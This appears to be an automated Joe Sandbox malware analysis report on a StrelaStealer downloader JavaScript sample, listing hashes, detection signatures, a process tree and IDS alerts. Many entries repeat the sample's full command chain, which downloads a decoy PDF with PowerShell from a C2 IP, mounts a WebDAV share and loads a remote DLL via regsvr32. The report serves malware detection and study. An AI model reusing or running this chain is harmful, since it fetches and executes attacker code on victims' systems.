Edit tour

Windows Analysis Report
622118739225021737.js

Overview

General Information

Sample name:	622118739225021737.js
Analysis ID:	1588695
MD5:	abec42c614629ad401c3bde94fcbbf85
SHA1:	2590a419fcf895aaca52d388c0e3a70eeea2b857
SHA256:	885e0d48fe510339af8423f1398b33519b2b26541a56dc34786254384b428537
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2944 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\622118739225021737.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4180 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5404 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7064 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4592 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1396 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1600,i,13731528127773946648,642052187125554503,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6644 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6188 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6776 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2944	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4180, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5404, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4180, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5404, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\622118739225021737.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\622118739225021737.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\622118739225021737.js", ProcessId: 2944, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6188, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\622118739225021737.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, ProcessId: 4180, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\622118739225021737.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, ProcessId: 4180, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\622118739225021737.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, ProcessId: 4180, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\622118739225021737.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, ProcessId: 4180, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\622118739225021737.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, ProcessId: 4180, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\622118739225021737.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\622118739225021737.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\622118739225021737.js", ProcessId: 2944, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4180, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5404, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6644, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6188, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6776, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6644, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6188, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\622118739225021737.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll, ProcessId: 4180, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:19:26.543857+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:19:28.966215+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:19:26.543857+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 622118739225021737.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 622118739225021737.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49705 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:19:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

